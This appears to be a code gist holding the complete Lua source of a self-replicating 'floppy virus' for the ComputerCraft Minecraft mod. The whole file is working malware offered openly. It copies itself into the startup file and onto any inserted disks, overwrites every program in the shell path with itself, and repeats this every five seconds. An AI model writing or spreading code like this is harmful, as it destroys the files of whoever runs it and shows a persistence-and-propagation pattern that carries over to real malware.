decent ComputerCraft floppy virus

gistfile1.lua

local xpayload = [[
-- evalquine resident ComputerCraft virus
-- by GreaseMonkey, 2012-04-04

local payload, xshell
payload, xshell = ...

local function wreck_everything()
local function split(s,token)
  local l = {}
  local pos = 1
  while pos <= #s do
    local npos = string.find(s,token,pos,true)
    if npos == nil then
      break
    end
    l[#l+1] = string.sub(s,pos,npos-1)
    pos = npos+1
  end
  l[#l+1] = string.sub(s,pos)
  return l
end

local function infect_startup_unsafe(xto)
  if fs.exists(xto) then
    fs.delete(xto)
  end
  local fp = io.open(xto,"w")
  fp:write("local xpayload = [".."[\n")
  fp:write(payload)
  fp:write("]".."]\nloadstring(xpayload)(xpayload,shell)\n")
  fp:close()
end

local function infect_startup(xto)
  local r,s
  r,s = pcall(infect_startup_unsafe, xto)
  if not r then
    print("FAIL "..xto..": "..s)
  end
end

-- infect /startup
infect_startup("startup")

-- infect any disks
-- based on code in /rom/programs/shell
for k,side in pairs(redstone.getSides()) do
  if disk.isPresent(side) then
    local target = disk.getMountPath(side)
    infect_startup(fs.combine(target,"startup"))
  end
end

-- wreck everything in shell.path
local spath = xshell.path()
--local spath = ".:/rom/programs:/rom/programs/turtle:/rom/programs/computer:/rom/programs/http"
for k,p in ipairs(split(spath,":")) do
  local pref = string.sub(p,1,1)
  if pref == "/" or pref == "\\" then
    for k,name in ipairs(fs.list(p)) do
      -- try to infect the file in question
      local r = pcall(infect_startup_unsafe, fs.combine(p,name))
      if not r then
        -- we couldn't infect it - infect it in the root instead.
        infect_startup(name)
      end
    end
  end
  os.sleep(0.05)
end

end

local function wrecker()
  while true do
    os.sleep(5)
    wreck_everything()
  end
end

-- call wreck_everything
wreck_everything()
print("This system is wrecked")

-- now bring up a shell
parallel.waitForAll(
  wrecker, function()
    xshell.run("/rom/programs/shell")
  end
)
]]
loadstring(xpayload)(xpayload,shell)